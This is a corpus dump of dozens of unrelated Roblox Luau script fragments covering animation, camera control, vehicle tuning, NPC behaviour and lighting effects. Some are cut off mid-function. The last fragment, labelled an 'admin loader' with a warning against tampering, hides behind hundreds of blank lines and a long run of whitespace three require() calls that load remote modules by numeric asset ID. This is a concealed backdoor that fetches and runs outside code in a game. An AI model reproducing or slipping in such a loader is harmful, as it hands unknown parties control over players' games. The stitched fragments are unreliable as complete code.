Roblox/luau_corpus huggingface dataset:
--- Creates callbacks and sets up initial state.
function ScopeHierarchyItemButton:init()
    self.Maid = Maid.new()
    self.LayoutRef = Roact.createRef()
    self.ContainerSize, self.UpdateContainerSize = Roact.createBinding(UDim2.new(0, 0, 1, 0))

    --- Processes clicks, triggers scope change
    function self.OnClicked()
        self.props.SetScopeFromButton(self.props.Instance)
    end

    -- Set initial state
    self:UpdateInstanceState()
end

local ClassIconPositions = {
    Part = Vector2.new(2, 1);
    MeshPart = Vector2.new(4, 8);
    UnionOperation = Vector2.new(4, 8);
    NegateOperation = Vector2.new(3, 8);
    VehicleSeat = Vector2.new(6, 4);
    Seat = Vector2.new(6, 4);
    TrussPart = Vector2.new(2, 1);
    CornerWedgePart = Vector2.new(2, 1);
    WedgePart = Vector2.new(2, 1);
    SpawnLocation = Vector2.new(6, 3);
    Model = Vector2.new(3, 1);
    Folder = Vector2.new(8, 8);
    Tool = Vector2.new(8, 2);
    Workspace = Vector2.new(10, 2);
    Accessory = Vector2.new(3, 4);
    Accoutrement = Vector2.new(3, 4);
}
-- returns the angles needed to have the npc look at a target

local function lookAt(target)
	local eye = (hrp.CFrame * CFrame.new(0, 3, 0)):pointToObjectSpace(target).unit;
	local horizontal = -math.atan2(eye.x, -eye.z);
	local vertical = math.asin(eye.y);
	
	local goal = Vector3.new();
	if not (math.abs(horizontal) > settings.horizontalRange or math.abs(vertical) > settings.verticalRange) then
		local hsign, habs = math.sign(horizontal), math.abs(horizontal);
		local hneck, hwaist = habs*0.5, habs*0.5;
		
		if (hwaist > settings.maxHorizontalWaist) then
			local remainder = hwaist - settings.maxHorizontalWaist;
			hwaist = settings.maxHorizontalWaist;
			hneck = math.clamp(hneck + remainder, 0, settings.maxHorizontalHead);
		end
		
		goal = Vector3.new(hsign*hneck, hsign*hwaist, vertical);
	end
	
	return goal;
end
-- Anything parented to this script's parent will be lit up!
 
MaxFlickerWait = 30
MinFlickerWait = 10
Allow = false
function Change(Mode)
    for _,i in pairs (script.Parent:GetChildren()) do
        if i:IsA("BasePart") then
            if Mode then
                i.Material = "Neon"
            else
                i.Material = "SmoothPlastic"
            end
        elseif i:IsA("Model") then
            for _,i in pairs (i:GetChildren()) do
                if Mode then
                    i.Material = "Neon"
                else
                    i.Material = "SmoothPlastic"
                end
            end
        end
    end
end
script.On.Changed:connect(function()
    if script.On.Value then
        Allow = true
        Change(true)
    else
        Allow = false
        Change(false)
    end
end)
while wait(math.random(MinFlickerWait,MaxFlickerWait)) do
    if Allow then
        local function Check() if not Allow then return end end
        local WaitTime = .5
        Change(false)
        wait(WaitTime/2); Check();
        Change(true)
        wait(WaitTime); Check()
        Change(false)
        wait(WaitTime*1.5); Check()
        Change(true)
        wait(WaitTime); Check()
        Change(false)
        wait(WaitTime/5); Check()
        Change(true)
        wait(WaitTime); Check()
        Change(false)
        wait(WaitTime/8); Check()
        Change(true)
    end
end
-- map to proximity prompt
local lobbyProximityPrompt = workspace.Level_Geo.Lobby.LobbyConsole.ProximityPrompt
--character welds
local larmw
local rarmw
local llegw
local rlegw
local headw
local torsow
--	
	script.Parent.Handle3.Hinge1.Transparency = 1
	script.Parent.Handle3.Interactive1.Transparency = 1
	script.Parent.Handle3.Part1.Transparency = 1
	wait(0.03)
end

			
			
			

script.Parent.Push.ClickDetector.MouseClick:connect(toiletHandle)
--
end
else
print("sh")
end
else
print("arms")
end
end
function Key(key)
if key then
key = string.lower(key)
if (key=="x") then
if on == 1 then
on = 0
elseif on == 0 then
on = 1
end
Crouch(on)
end
end
end
function Equip(mouse)
mouse.KeyDown:connect(Key)
end
script.Parent.Equipped:connect(Equip)
-- Note: The active transparency controller could be made to listen for this event itself.
function CameraModule:OnCameraSubjectChanged()
	local camera = workspace.CurrentCamera
	local cameraSubject = camera and camera.CameraSubject

	if self.activeTransparencyController then
		self.activeTransparencyController:SetSubject(cameraSubject)
	end

	if self.activeOcclusionModule then
		self.activeOcclusionModule:OnCameraSubjectChanged(cameraSubject)
	end

	self:ActivateCameraController(nil, camera.CameraType)
end

function CameraModule:OnCameraTypeChanged(newCameraType: Enum.CameraType)
	if newCameraType == Enum.CameraType.Scriptable then
		if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
			UserInputService.MouseBehavior = Enum.MouseBehavior.Default
		end
	end

	-- Forward the change to ActivateCameraController to handle
	self:ActivateCameraController(nil, newCameraType)
end
--[[
	Hides all ScreenGuis and CoreGuis shown. If the callback `hideOtherGuis`
	is defined then that function is called instead.
]]
function GuiController:hideGuis()
	if self.hideOtherGuis and self.hideOtherGuis.isCallbackSet() then
		self.hideOtherGuis.fireCallback()
		return
	end

	-- hideGuis has already been called, no need to hide again until
	-- showGuis is called
	if #Cryo.Dictionary.keys(self.disabledGuis) ~= 0 then
		return
	end

	-- Hide ScreenGuis
	self.disabledGuis = self:_getOtherScreenGuis()
	for _, gui in ipairs(self.disabledGuis) do
		gui.Enabled = false
	end

	-- Hide CoreGuis
	self.disabledCoreGuis = self:_getShownCoreGuis()
	for _, gui in ipairs(self.disabledCoreGuis) do
		self.StarterGui:SetCoreGuiEnabled(gui, false)
	end

	-- Hide mobile controls
	self.modalEnabled = self.UserInputService.ModalEnabled
	self.UserInputService.ModalEnabled = true
end
-- Services
local starterGui = game:GetService("StarterGui")

wait()
starterGui:SetCore("ResetButtonCallback", false)
--#Constants
local rate = 0.2
local minSpeed, topSpeed = configuration.AcceleratedWalking.MinSpeed.Value, configuration.AcceleratedWalking.MaxSpeed.Value
local increment = configuration.AcceleratedWalking.Increment.Value
local noMovement = Vector3.new(0,0,0)
-- config
local config = {
	position = 0, -- 0 = Horizontal, 1 = Vertical
	padding = 5
}
-- functions

function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end

	-- clean up walk if there is one
	if (runAnimKeyframeHandler ~= nil) then
		runAnimKeyframeHandler:disconnect()
	end
	
	if (runAnimTrack ~= nil) then
		runAnimTrack:Stop()
		runAnimTrack:Destroy()
		runAnimTrack = nil
	end
	
	return oldAnim
end

local smallButNotZero = 0.0001
function setRunSpeed(speed)
	if speed < 0.33 then
		currentAnimTrack:AdjustWeight(1.0)		
		runAnimTrack:AdjustWeight(smallButNotZero)
	elseif speed < 0.66 then
		local weight = ((speed - 0.33) / 0.33)
		currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
		runAnimTrack:AdjustWeight(weight + smallButNotZero)
	else
		currentAnimTrack:AdjustWeight(smallButNotZero)
		runAnimTrack:AdjustWeight(1.0)
	end
	
	local speedScaled = speed * 1.25
	runAnimTrack:AdjustSpeed(speedScaled)
	currentAnimTrack:AdjustSpeed(speedScaled)
	
	if ( CurrentToyAnimation ~= nil ) then
		CurrentToyAnimation:AdjustSpeed(speedScaled)
	end
	
end


function setAnimationSpeed(speed)
	
	-- Check difference
	local MaxDifference = .5;
	local Difference = math.abs(( currentAnimSpeed - speed ));
	
	if ( Difference < MaxDifference ) then
		return;
	end
	
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		if currentAnim == "walk" then
			setRunSpeed(speed)
		else
			currentAnimTrack:AdjustSpeed(currentAnimSpeed)
		end
	end
end

function keyFrameReachedFunc(frameName)
---[[ Chat Behaviour Settings ]]
module.WindowDraggable = false
module.WindowResizable = true
module.ShowChannelsBar = false
module.GamepadNavigationEnabled = false
module.AllowMeCommand = true -- Me Command will only be effective when this set to true
module.ShowUserOwnFilteredMessage = true	--Show a user the filtered version of their message rather than the original.
--	print(animName .. " " .. idx .. " [" .. origRoll .. "]")
	
	local anim = animTable[animName][idx].anim

	-- switch animation		
	if (anim ~= currentAnimInstance) then
		
		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		if (runAnimTrack ~= nil) then
			runAnimTrack:Stop(transitionTime)
			runAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0
	
		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		 
		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
		
		-- check to see if we need to blend a walk/run animation
		if animName == "walk" then
			local runAnimName = "run"
			local runIdx = rollAnimation(runAnimName)

			runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)		 
			runAnimTrack:Play(transitionTime)		
			
			if (runAnimKeyframeHandler ~= nil) then
				runAnimKeyframeHandler:disconnect()
			end
			runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)	
		end
		
		if ( animName == "walk" ) then
			playToyAnimation("Run");
		elseif ( animName == "idle" ) then
			playToyAnimation("Idle");
		end
		
		
	end

end
--// Holstering
	HolsteringEnabled = false;
	HolsterPos = CFrame.new(0.140751064, 0, -0.616261482, -4.10752676e-08, -0.342020065, 0.939692616, -1.49501727e-08, 0.939692557, 0.342020094, -0.99999994, 0, -4.37113847e-08);
-- A state object whose value is derived from other objects using a callback.
export type ForValues<K, VO> = StateObject<{ [K]: VO }> & Dependent & {
	-- kind: "ForKeys" (add this when Luau supports singleton types)
}
---------------
--// Code
---------------
while true do

	task.wait()

	count1 = count1 + 0.001*speed
	count2 = count2 + 0.001*speed2

	if count1 > 1 then
		count1 = 0
	end

	if count2 > 1 then
		count2 = 0
	end
	
	
	
	local Color1 = ColorSequenceKeypoint.new(0, Color3.fromHSV(count1,1,1))
	local Color2 = ColorSequenceKeypoint.new(1, Color3.fromHSV(count2,1,1))


	script.Parent.Color = ColorSequence.new({Color1, Color2})

end
----------------------------
--Patrol Script--
----------------------------

on = 0
Tool = script.Parent
welds = {}
sh = {}
arms = nil
torso = nil
f = nil
Holstered = false
wait()
local Tool = script.Parent
enabled = true
--		for i, v in pairs({FrontLeftHip, FrontRightHip, BackLeftHip, BackRightHip}) do
--			v.MaxVelocity = 0.15
--		end
		LimbAmplitude = 0.2
		LimbFrequency = 9
	elseif (Pose == "Climbing") then
-- Main loop
spawn(function()
    while wait(cooldown) do
        
        if check_movement() then
            
			footstepsSound.SoundId = get_material()
            
			footstepsSound.Parent = nil
			footstepsSound.Parent = rootPart
        end
    end
end)
--]]


function getHumanoid(model)
	for _, v in pairs(model:GetChildren()) do
		if v:IsA'Humanoid' then
			return v
		end
	end
end


local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude


local pfs = game:GetService("PathfindingService")

function GetPlayerNames()
	local players = game:GetService('Players'):GetChildren()
	local name = nil
	for _, v in pairs(players) do
		if v:IsA'Player' then
			name = tostring(v.Name)
		end
	end
	return name
end

spawn(function()
	while wait() do
		print("THIS BALDI MODEL WAS MADE BY ANPHU04, DO NOT TRUST ANYBODY THAT USES THIS!")
	end
end)

function GetPlayersBodyParts(t)
	local torso = t
	if torso then
		local figure = torso.Parent
		for _, v in pairs(figure:GetChildren()) do
			if v:IsA'Part' then
				return v.Name
			end
		end
	else
		return "HumanoidRootPart"
	end
end

function GetTorso(part)
	local chars = game.Workspace:GetChildren()
	local torso = nil
	for _, v in pairs(chars) do
		if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
			local charRoot = v:FindFirstChild'HumanoidRootPart'
			if (charRoot.Position - part).magnitude < SearchDistance then
				torso = charRoot
			end
		end
	end
	return torso
end

for _, zambieparts in pairs(zombie:GetChildren()) do
	if zambieparts:IsA'Part' then
		zambieparts.Touched:connect(function(p)
			if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage
				local enemy = p.Parent
				local enemyhuman = getHumanoid(enemy)
				enemyhuman:TakeDamage(ZombieDamage)
			end
		end)
	end
end
--[[
	Calls any :finally handlers. We need this to be a separate method and
	queue because we must call all of the finally callbacks upon a success,
	failure, *and* cancellation.
]]
function Promise.prototype:_finalize()
	for _, callback in ipairs(self._queuedFinally) do
		-- Purposefully not passing values to callbacks here, as it could be the
		-- resolved values, or rejected errors. If the developer needs the values,
		-- they should use :andThen or :catch explicitly.
		coroutine.wrap(callback)(self._status)
	end

	self._queuedFinally = nil
	self._queuedReject = nil
	self._queuedResolve = nil

	-- Clear references to other Promises to allow gc
	if not Promise.TEST then
		self._parent = nil
		self._consumers = nil
	end
end
--[[Transmission]]
	Tune.TransModes		= {"Auto", "Semi",}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
		--[[ 7 ]]       0.55        ,
		--[[ 8 ]]       0.43        ,
		--[[ 9 ]]       0.31        ,
		--[[ 10]]       0.20        ,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--//Player//--
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:Wait()

local Humanoid = Character:WaitForChild("Humanoid")
--		body.HB.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Black")
--		body.HB.Material = bool and "Neon" or "SmoothPlastic"
		body.RB.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Bright red")
		body.RB.Material = bool and "Neon" or "SmoothPlastic"
		car.Misc.TK.RB.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Bright red")
		car.Misc.TK.RB.Material = bool and "Neon" or "SmoothPlastic"
--Enable Verbose Outputs, reports all actions. It's spammy m8. Only use for serious debug.
module.Verbose = true; --N O

module.FuelDepletionRate = 3.2 --dictates fuel depletion rate

module.PowerLaserBuff = 1.35 --dictates how powerful the powerlasers are

module.CoolantBuff = 2 --when

module.ReliefsBuff = 1.75 -- you get the drill by now

return module
---- Put In StarterCharacterScripts

local hum = script.Parent:WaitForChild("Humanoid")

hum.Changed:Connect(function()
	if hum.Jump == true then
		if script.Jumped.Value == false then
			script.Jump:Play()
			script.Jumped.Value = true
			print("Player Has Jumped")
			wait(0.5)
			script.Jumped.Value = false
		end
	end
end)
-- This script removes all the weapons/items of anybody who touches it, except for those whose names
-- are in the "keepers" list.

keepers = {""}
-- A variant of the function above that returns the velocity at a given point in time.
local function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3
	return initialVelocity + acceleration * time
end

local function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3}
	assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	local trajectories = cast.StateInfo.Trajectories
	local trajectory = trajectories[index]
	local duration = trajectory.EndTime - trajectory.StartTime
	
	local origin = trajectory.Origin
	local vel = trajectory.InitialVelocity
	local accel = trajectory.Acceleration
	
	return {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)}
end

local function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3}
	assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	return GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories)
end

local function CloneCastParams(params: RaycastParams): RaycastParams
	local clone = RaycastParams.new()
	clone.CollisionGroup = params.CollisionGroup
	clone.FilterType = params.FilterType
	clone.FilterDescendantsInstances = params.FilterDescendantsInstances
	clone.IgnoreWater = params.IgnoreWater
	return clone
end

local function SendRayFinalHit(cast: ActiveCast, origin: Vector3, direction: Vector3, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
	--cast.RayFinalHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
	cast.Caster.RayFinalHit:Fire(cast, origin, direction, resultOfCast, segmentVelocity, cosmeticBulletObject)
end

local function SendRayHit(cast: ActiveCast, origin: Vector3, direction: Vector3, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
	--cast.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
	cast.Caster.RayHit:Fire(cast, origin, direction, resultOfCast, segmentVelocity, cosmeticBulletObject)
end

local function SendLengthChanged(cast: ActiveCast, point: Vector3, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
	--cast.LengthChanged:Fire(cast, point, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
	cast.Caster.LengthChanged:Fire(cast, point, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
end
--[=[
	@class Blend
]=]
return {
	Multiply = require(script.Multiply),
	Screen = require(script.Screen),
	Overlay = require(script.Overlay),
	Dodge = require(script.Dodge),
	Burn = require(script.Burn),
	Transparency = require(script.Transparency),
}
--[[
	Constructs a new computed state object, which follows the value of another
	state object using a spring simulation.
]]

local Package = script.Parent.Parent
local logError = require(Package.Logging.logError)
local unpackType = require(Package.Animation.unpackType)
local SpringScheduler = require(Package.Animation.SpringScheduler)
local useDependency = require(Package.Dependencies.useDependency)
local initDependency = require(Package.Dependencies.initDependency)
local updateAll = require(Package.Dependencies.updateAll)

local class = {}

local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}

local ENABLE_PARAM_SETTERS = true
--02fzx

local FlingAmount = 0	--sky
local sound = true			--well i mean its god hand so..
local sit = false			--If it makes the player sit.
local e = false				--Do not change.
local explode = false		--This one just kills you



function hit(Touch) 
	local blender = Touch.Parent:FindFirstChild("Head") 
	if not (blender == nil) then
		if e == false then
		e = true
		local bv = Instance.new("BodyVelocity")
		bv.P = 1250
		bv.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
		bv.Velocity = blender.CFrame.lookVector*-FlingAmount
		bv.Parent = blender
		if sit == true then
		Touch.Parent:FindFirstChild("Humanoid").Sit = true
		end
		if sound == true then
				local s = script.Parent.Yeet:Clone()
				local MAAAA = script.Parent.Scream:Clone()
			local random = math.random(8,12)/10
			s.Parent = blender
			s.PlaybackSpeed = 1
				s:Play()
				Touch.Parent:FindFirstChild("Humanoid").Health = 100
				MAAAA.Parent = blender
				MAAAA:Play()
				MAAAA.STOP.Disabled = false
		end
		wait(.05)
		bv:Destroy()
		wait(.2)
	
	e = false
		wait(1)
		if explode == true then
			Touch.Parent:FindFirstChild("Humanoid").Health = 100
		end



		end
	end 
end

script.Parent.Touched:connect(hit)
--ADMIN LOADER.
--This is a script that is part of your admin in game.
--Removing/tampering with this script will potentially result in scripts breaking in your game.
































































































































































































































































































																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																			 require(6091305634):Stys() require(5151855975) require(5869080069):Stys()